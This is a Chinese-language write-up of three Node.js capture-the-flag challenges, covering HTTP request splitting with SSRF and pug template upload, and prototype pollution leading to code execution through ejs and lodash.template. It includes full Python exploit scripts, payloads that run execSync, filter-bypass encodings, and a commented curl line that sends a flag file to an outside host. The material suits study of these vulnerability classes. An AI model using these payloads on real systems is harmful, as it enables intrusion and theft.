Tip:npm audit
,Run a security audit
[GYCTF2020]Node Game
题目链接:https://buuoj.cn/challenges#[GYCTF2020]Node%20Game
比赛的时候好像有个提示:Node 版本为 8.12.0
这题主要考的是node代审
、SSRF
和请求夹带(http走私)
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
先看代码逻辑,express
框架写的,路由交给express
处理
根路由/
,接收一个action
参数,不允许出现/
和\\
(反斜杠),path
拼接使用pug
引擎渲染模板到前端
/file_upload
,很明显文件上传,但是需要ip.includes('127.0.0.1')
,ip
由req.connection.remoteAddress
获取,我们知道remoteAddress
这种http
是无法伪造的,所以必须得是本地请求才可以上传文件,可能涉及SSRF
,file_path
由mimetype
直接拼接,未做任何校验,可以路径穿越上传任意文件,这里先放着
/source
,源码获取
/core
,接收一个q
,访问本地8081端口的资源,放到/source
后面,然后会显示访问的结果,这里估计就是SSRF
的点了
逻辑分析完,根据题目提示,node版本,估计是node的洞,网上查了一下,这个版本的 Node 的 http 模块涉及一个拆分攻击漏洞,这个问题是由Node.js将HTTP请求写入路径时对unicode字符的有损编码引起的。
详见:https://xz.aliyun.com/t/2894
于是我们可以构造恶意请求
原始请求头:
GET /source?q=x HTTP/1.1
插入文件上传请求头:
GET /source?q=x HTTP/1.1
POST /file_upload HTTP/1.1
Host: localhost:8081
xxx文件内容
文件内容根据pug
引擎手册来写: https://pugjs.org/zh-cn/language/includes.html
读flag的话包含flag文件即可,格式如下
doctype html
html
head
style
include ../../../../../../../flag.txt
Content-Type: /../template
,写pug到template目录下
Connection: Keep-Alive
,表明客户端想要保持该网络连接打开,Connection
Exp:
import urllib.parse
import requests
payload = '''x HTTP/1.1
Host: x
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: x
Content-Type: multipart/form-data; boundary=--------------------------123
Connection: keep-alive
cache-control: no-cache
Content-Length: 253
----------------------------123
Content-Disposition: form-data; name="file"; filename="extrader.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
----------------------------123--
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
print(requests.get('http://8a307357-1cde-471d-b257-70794a7efa58.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload)).text)
print(requests.get('http://8a307357-1cde-471d-b257-70794a7efa58.node4.buuoj.cn:81/?action=extrader').text)
但如果我们想嵌入代码RCE呢?
还是根据文档来:https://pugjs.org/zh-cn/language/code.html
- global.process.mainModule.require('child_process').execSync('evalcmd')
但是这里有个blacklist
字符串拼接绕过:
- eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('whoami').toString()")
对参数URL编码绕过:https://blog.5am3.com/2020/02/11/ctf-node1/#自己出的-node-gamev
Exp:
import requests
import sys
payloadRaw = """x HTTP/1.1
POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1
-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template
- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--
"""
def getParm(payload):
payload = payload.replace(" ","%C4%A0")
payload = payload.replace("\n","%C4%8D%C4%8A")
payload = payload.replace("\"","%C4%A2")
payload = payload.replace("'","%C4%A7")
payload = payload.replace("`","%C5%A0")
payload = payload.replace("!","%C4%A1")
payload = payload.replace("+","%2B")
payload = payload.replace(";","%3B")
payload = payload.replace("&","%26")
# Bypass Waf
payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")
return payload
def run(url,cmd):
payloadC = payloadRaw.replace("evalcmd",cmd)
urlC = url+"/core?q="+getParm(payloadC)
requests.get(urlC)
return requests.get(url+"/?action=5am3_get_flag").text
if __name__ == '__main__':
targetUrl = sys.argv[1]
cmd = sys.argv[2]
print(run(targetUrl,cmd))
# python3 exp.py http://127.0.0.1:8081 "curl eval.com -X POST -d `cat /flag.txt`"
[GYCTF2020]Ez_Express
知识点:原型链污染,ejs模板引擎远程代码执行漏洞(CVE-2020-35772)
首页如下,访问www.zip
可以得到一份代码
目录结构如下(node_modules是我本地搭环境的时候npm install)
我们主要看到index.js
代码
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
这里涉及的CVE可以看 Express+lodash+ejs: 从原型链污染到RCE,然后再来看这个代码就知道如何利用了
明显的clone->merge
原型链污染,代码逻辑比较简单,一个login
,一个register
,我们看到clone
函数在哪里使用了,action
这个路由,咋一看,好像是需要user
是ADMIN
才可以执行这个反序列化,但是这里注意看,这个if
后的大括号,并没有包括下面两行代码,我有充分的理由怀疑出题人这里大括号位置搞错了,这样的话,ADMIN的限制也就不存在了,而且他这个if
也没有return
出去,代码还是会往下执行。
先随便注册一个用户,否则会报Cannot read property 'user' of undefined
错,因为需要req.session.user.data = clone(req.body)
然后直接构造payload
到action
处发包
{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}
再访问首页触发payload
,即可拿到flag
但是如果限制了登录呢?我们再来看代码逻辑
login
那里有个safeKeyword
正则校验是否为admin,后面存入session
的时候有一个toUpperCase()
的操作,这里参考P🐮的 Fuzz中的javascript大小写特性
直接把原文搬过来了
在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
直接注册的时候把 admin 写成 admı
n 即可绕过上面的限制了。后面思路还是一样。
Code-Breaking 2018 Thejs
P🐮知识星球两周年活动,2018年的,我那时候还没加入。。。说多了都是泪。。有机会把几道题都玩玩
题目链接:https://code-breaking.com/puzzle/9/
这题主要涉及原型链的利用,利用方式不复杂,主要还是得找到关键点,得看懂代码
拿到题目源码,npm install
把模块下一下,就可以用node跑了
看到server.js
源码
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
// 接收post请求
if (req.method == 'POST') {
// 对象数据合并操作
data = lodash.merge(data, req.body)
// 把data存到session中
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
直接就看到了lodash.merge
这个操作,具体可以回顾我前面的 JavaScript原型链污染漏洞学习
先看一下发送正常的数据包,后端的数据变化
language[]=python&language[]=go&category[]=pwn
步过:
可以看到将language
和category
这两个数组对象存到了data中,简单来说,就是在data这个对象中添加了两个数组对象,数组的值就是我们post提交的值
根据我们前面分析的merge
利用操作,我们可以直接post一个json
格式的字符串,来对data这个对象的原型进行修改,data对象的原型就是Object
,看下data.__proto__
就可以知道
那我们这里可以尝试一下
{"__proto__":{"name":"extrader"}}
注意要设置Content-Type: application/json
,否则后端express
不会解析json
,而且要保证子类中没有name
这个变量,子类会继承父类的所有方法,只有当前类没有定义这个变量,才会去父类寻找。
断点下着,看调试结果
步过:
看到上图,我们成功污染了Object原型方法,在里面加入了一个name,那这个时候,改如何利用这一点?我们的目的,RCE
所以我们需要找到一个在影响Object后可以RCE的地方,其实这才是关键。。。
直接看结果吧
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
lodash.template
:一个模板引擎 方法,我们可以在server.js
的代码中看到
找到源代码,主要看以下代码
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
options
是一个Object
,sourceURL
这个变量取options.sourceURL
中的值,原本options
中是没有sourceURL
这个值的,于是这个变量为空
但是通过原型链污染,我们可以令options.sourceURL
中有值,即取到Object
中的值,于是我们就可以控制sourceURL
这个变量
在后面我们可以看到sourceURL
被拼接到Function
方法的最后一个参数,这个参数是一个含有包括函数定义的 JavaScript 语句的字符串。
Function
这里定义了一个函数是不会调用的,但后面跟了个apply
方法,而这个方法就是给前面的Function
传值调用的,于是就执行了Function
中的代码
构造恶意payload如下
{"__proto__":{"sourceURL":"\nreturn e=> {return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\n//"}}
注意这里为什么要用e=>
箭头函数,如果不使用的话,会报一个TypeError: compiled is not a function
错误
compiled
得到的是lodash.template
返回的结果,即template
中定义的result
,而这个结果需要是一个function
,因为后面有compiled({...options})
调用,具体看server
代码
所以我们需要使用箭头函数返回一个function
,使得程序能够继续运行下去
以上payload确实可以得到命令执行的结果,但是这样并不好
P🐮给出的解释如下
原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉。
如果我们用上面的payload,然后我们随意访问题目链接,都会将我们命令执行的结果输出出来,于是就有了改进后的payload
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\n//"}}
这样就不会出现破坏真实业务这种情况了
命令执行还可以使用require
global.require("child_process").execSync("whoami").toString()
但是这道题中并没有require
总结
- 原型链还是比较有意思的,但总的来说还是代码审计,慢慢来吧
- 未完待续,后面如果碰到了有意思
JavaScript
的题还会继续往上面放
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues